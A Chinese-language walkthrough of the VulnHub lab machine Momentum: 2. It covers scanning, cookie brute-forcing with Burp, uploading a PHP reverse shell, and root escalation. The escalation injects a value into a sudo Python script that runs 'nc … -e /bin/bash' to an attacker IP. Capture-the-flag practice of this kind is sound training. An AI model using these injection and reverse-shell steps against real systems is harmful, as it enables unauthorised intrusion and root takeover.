VulnHub靶机_MOMENTUM: 2

靶机介绍

这个是Momentum系列的第二个靶机，第一个靶机详见：Momentum:1
下载地址：http://www.vulnhub.com/entry/momentum-2,702/
难度：中等
描述：关键词curl, bash, code review

渗透过程

靶机IP获取

靶机的IP为192.168.1.105。

arp-scan -l

端口扫描

靶机开放了22和80端口。

nmap -A -T4 -p 1-65535 192.168.1.105

信息收集

1. 首先扫描以下网站中的特殊文件，这里我一开始用的dirb，但是dirb竟然好多东西没有扫出来，卡住了好久，于是乎用gobuster又扫一遍，这里还要加上.php.bak类型文件，也是绝绝子。

gobuster dir -u http://192.168.1.105/ -x html,php,bak,txt,php.bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

信息1

访问扫描出的网址：http://192.168.1.105/dashboard.html，可以看到一个文件上传接口。

信息2

网址http://192.168.1.105/ajax.php.bak 中的代码下载下来，里面的内容是cookie的最后一个字母是额外添加的一个大写字母。然后如果是admin，并且cookie也正确，还需要提交一个post，设置secure等于val1d，就可以上传pdf,php,txt类型的文件，否则只能上传txt文件。

我们先传一个txt文件，然后查看，发现owl这个目录中出现了我们上传的文件。

burpsuite抓包改包

那么，现在的思路就是首先伪造admin的cookie，上传一个php反弹shell的脚本上去。
首先使用burpsuite抓包，先要进行一些设置。

1. 在kali中启动burpsuite，直接命令行输入burpsuite即可。
2. 在Proxy下点击Options，看到interface是127.0.0.1：8080。
3. 在浏览器中的Internet Option中设置相同的IP地址以及端口号。
   
4. 抓包
   上传kali自带的php-reverse-shell文件（记得改ip为kali的IP），然后查看Proxy——intercept目录下抓到的包，我们点击Action——sendtointruder。点击payload,把cookie那里最后一个字母给爆破出来。爆破就是点击intruder，然后payloads,然后设置26个字母。
   此外，还要使用post方式提交一个参数secure，值为val1d。（爆破成功的话上传回显1）
   

点击Start attack，查看Response，发现只有R返回值是1。

5. 改包
把最后Cookie最后一位改成R，然后点击Forward，这时候还没有退出burpsuite的话就一直点Forward就行。

查看OWL网址就能看见我们上传的脚本了。

把浏览器网络设置改回来。

获取shell

nc监听1234端口（php反弹shell脚本中设置的端口）。

nc -lnvp 1234

然后点击owl网址中我们上传的脚本，这样我们就得到了shell。

提权

信息收集

首先在home目录下得到一个用户名和密码。
用户名：Athena
密码：myvulnerableapp* （Asterisk是*的意思）

ssh登录

用上述账号和密码登录ssh，查看sudo -l，这里说Athena能够使用的sudo权限中有用python3执行cookie-gen.py这个文件。

查看cookie-gen.py这个文件。我用nano打开，这里提示没有权限改。分析这个脚本的内容，他会接受一个输入作为seed，然后生成一个cookie。关键是，他会构造一个命令行，并且执行。

那我们就可以在输入seed的时候构造一下子，去得到root权限的shell。

;nc 192.168.1.107 1234 -e /bin/bash;

拿到了第二个flag。

完结~